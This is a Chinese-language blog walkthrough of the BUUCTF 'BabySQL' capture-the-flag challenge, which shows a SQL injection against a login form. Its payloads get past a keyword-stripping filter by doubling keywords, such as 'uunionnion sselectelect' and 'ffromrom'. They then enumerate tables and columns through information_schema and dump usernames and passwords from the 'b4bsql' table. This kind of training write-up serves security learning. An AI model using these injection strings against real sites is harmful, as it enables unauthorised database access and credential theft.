BUUCTF [极客大挑战 2019]BabySQL 1sql注入

BUUCTF [极客大挑战 2019]BabySQL 1

进去后是这样:
BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第1张图片
还是熟悉的配方,还是熟悉的味道。
题目就是sql注入,就不检测是否有注入点了。
输入1' or 1=1;#
在这里插入图片描述
emmm…暂时看不懂什么意思
现在就可以胡乱的输入一些注入语句了。发现报错都是部分输入的语句,这说明没报错的语句没了,或者替换掉了,对,没错,可能是用replace函数换成空了。
现在证实这个猜想。在username输入1'%23就是1'#的意思:
BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第2张图片
用户名密码错误!说明我们的sql语句1'#是可执行的,也就是说之前的报错就是有什么的东西把我们的sql语句弄错,结合报错,可认为是替换成空
进一步证实:输入1' oorr 1=1;后面的%23不用动,因为中间的or被替换成空,剩下的还是or,结合起来是1' or 1=1;。结果如下
BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第3张图片
猜想正确,接下来就是标志步骤了,爆表,爆字段(列)
经过测试,暂时发现replace了or,from,where,select,and,by,union
输入:

?username=admin' oorrder bbyy 3;%23&password=1

BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第4张图片
输入:

?username=admin' oorrder bbyy 4;%23&password=1

BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第5张图片
说明有3列。
输入:

?username=1' uunionnion sselectelect 1,2,3;%23&password=1

BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第6张图片
说明回显在第2,3列。
输入:

?username=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23&password=1

BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第7张图片先看b4bsql
输入:

?username=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema=database() aandnd table_name='b4bsql' %23&password=1

b4bsql别忘了加引号
BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第8张图片
有三列,继续。
输入:

?username=1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql %23&password=1

在这里插入图片描述BUUCTF [极客大挑战 2019]BabySQL 1sql注入_第9张图片

找到flag。

你可能感兴趣的:(刷题日记,buuctf,ctf)